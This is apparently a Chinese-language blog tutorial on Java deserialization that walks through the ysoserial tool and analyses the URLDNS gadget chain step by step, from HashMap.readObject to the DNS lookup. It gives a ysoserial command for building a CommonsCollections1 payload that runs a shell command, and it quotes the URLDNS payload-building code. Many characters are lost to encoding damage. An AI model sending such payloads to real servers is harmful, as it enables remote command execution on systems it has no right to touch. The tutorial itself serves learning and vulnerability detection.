給個關注?寶兒!
給個關注?寶兒!
給個關注?寶兒!
ysoserial
下載地址:https://github.com/angelwhu/ysoserial
ysoserial可以讓?戶根據??選擇的利?鏈,?成反序列化利?數據,通過將這些數據發送給?標,從?執??戶預先定義的命令。
什么是利?鏈?
利?鏈也叫“gadget chains”,我們通常稱為gadget。如果你學過PHP反序列化漏洞,那么就可以將gadget理解為?種?法,它連接的是從觸發位置開始到執?命令的位置結束,在PHP?可能
是 __desctruct 到 eval ;如果你沒學過其他語?的反序列化漏洞,那么gadget就是?種?成POC的
?法罷了。
ysoserial的使?也很簡單,雖然我們暫時先不理解 CommonsCollections ,但是?ysoserial可以很容
易地?成這個gadget對應的POC:
java -jar ysoserial-master-30099844c6-1.jar CommonsCollections1 "id"
如上,ysoserial?部分的gadget的參數就是?條命令,?如這?是 id 。?成好的POC發送給?標,如
果?標存在反序列化漏洞,并滿?這個gadget對應的條件,則命令 id 將被執?
URLDNS利用鏈
URLDNS 就是ysoserial中?個利?鏈的名字,但準確來說,這個其實不能稱作“利?鏈”。因為其參數不
是?個可以“利?”的命令,?僅為?個URL,其能觸發的結果也不是命令執?,?是?次DNS請求。
雖然這個“利?鏈”實際上是不能“利?”的,但因為其如下的優點,?常適合我們在檢測反序列化漏洞時
使?:
- 使?Java內置的類構造,對第三?庫沒有依賴
- 在?標沒有回顯的時候,能夠通過DNS請求得知是否存在反序列化漏洞
ysoserial是如何?成 URLDNS 的代碼的:
github地址
public class URLDNS implements ObjectPayload<Object> {public Object getObject(final String url) throws Exception {//Avoid DNS resolution during payload creation//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.URLStreamHandler handler = new SilentURLStreamHandler();HashMap ht = new HashMap(); // HashMap that will contain the URLURL u = new URL(null, url, handler); // URL to use as the Keyht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.return ht;}public static void main(final String[] args) throws Exception {PayloadRunner.run(URLDNS.class, args);}/*** <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.* DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior* using the serialized object.</p>** <b>Potential false negative:</b>* <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the* second resolution.</p>*/static class SilentURLStreamHandler extends URLStreamHandler {protected URLConnection openConnection(URL u) throws IOException {return null;}protected synchronized InetAddress getHostAddress(URL u) {return null;}}
}
利?鏈分析
看到 URLDNS 類的 getObject ?法,ysoserial會調?這個?法獲得Payload。這個?法返回的是?個對
象,這個對象就是最后將被序列化的對象,在這?是 HashMap 。
我們前?說了,觸發反序列化的?法是 readObject ,因為Java開發者(包括Java內置庫的開發者)經
常會在這??寫??的邏輯,所以導致可以構造利?鏈。
那么,我們可以直奔 HashMap 類的 readObject ?法
private void readObject(java.io.ObjectInputStream s)throws IOException, ClassNotFoundException {// Read in the threshold (ignored), loadfactor, and any hidden stuffs.defaultReadObject();reinitialize();if (loadFactor <= 0 || Float.isNaN(loadFactor))throw new InvalidObjectException("Illegal load factor: " +loadFactor);s.readInt(); // Read and ignore number of bucketsint mappings = s.readInt(); // Read number of mappings (size)if (mappings < 0)throw new InvalidObjectException("Illegal mappings count: " +mappings);else if (mappings > 0) { // (if zero, use defaults)// Size the table using given load factor only if within// range of 0.25...4.0float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);float fc = (float)mappings / lf + 1.0f;int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?DEFAULT_INITIAL_CAPACITY :(fc >= MAXIMUM_CAPACITY) ?MAXIMUM_CAPACITY :tableSizeFor((int)fc));float ft = (float)cap * lf;threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?(int)ft : Integer.MAX_VALUE);// Check Map.Entry[].class since it's the nearest public type to// what we're actually creating.SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);@SuppressWarnings({"rawtypes","unchecked"})Node<K,V>[] tab = (Node<K,V>[])new Node[cap];table = tab;// Read the keys and values, and put the mappings in the HashMapfor (int i = 0; i < mappings; i++) {@SuppressWarnings("unchecked")K key = (K) s.readObject();@SuppressWarnings("unchecked")V value = (V) s.readObject();putVal(hash(key), key, value, false, false);}}}
在倒數第四行:
putVal(hash(key), key, value, false, false);
可以看到將 HashMap 的鍵名計算了hash
在此處下斷點,對這個 hash 函數進?調試并跟進,這是調?棧:
原因:在沒有分析過的情況下,我為何會關注hash函數?因為ysoserial的注釋中很明確地說明
了“During the put above, the URL’s hashCode is calculated and cached. This resets that so
the next time hashCode is called a DNS lookup will be triggered.”,是hashCode的計算操作觸
發了DNS請求。
hash ?法調?了key的 hashCode() ?法:
static final int hash(Object key) {int h;return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);}
URLDNS 中使?的這個key是?個 java.net.URL 對象,我們看看其 hashCode ?法:
此時, handler 是 URLStreamHandler 對象(的某個?類對象),繼續跟進其 hashCode ?法:
這?有調? getHostAddress ?法,繼續跟進:
這? InetAddress.getByName(host) 的作?是根據主機名,獲取其IP地址,在?絡上其實就是?次
DNS查詢。到這?就不必要再跟了。
我們??些第三?的反連平臺就可以查看到這次請求,證明的確存在反序列化漏洞:
taborator原理:
點擊“Create payload©”并生成一個唯一的URL,我可以在需要有效載荷的任何地方使用它。
如果有任何人看到這個URL并訪問它,我會在Burp Suite collaborator客戶端收到一條通知。
所以,?此,整個 URLDNS 的Gadget其實清晰?簡單:
- HashMap->readObject()
- HashMap->hash()
- URL->hashCode()
- URLStreamHandler->hashCode()
- URLStreamHandler->getHostAddress()
- InetAddress->getByName()
從反序列化最開始的 readObject ,到最后觸發DNS請求的 getByName ,只經過了6個函數調?,這在
Java中其實已經算很少了。
要構造這個Gadget,只需要初始化?個 java.net.URL 對象,作為 key 放在 java.util.HashMap
中;然后,設置這個 URL 對象的 hashCode 為初始值 -1 ,這樣反序列化時將會重新計算
其 hashCode ,才能觸發到后?的DNS請求,否則不會調? URL->hashCode() 。
另外,ysoserial為了防?在?成Payload的時候也執?了URL請求和DNS查詢,所以重寫了?
個 SilentURLStreamHandler 類,這不是必須的。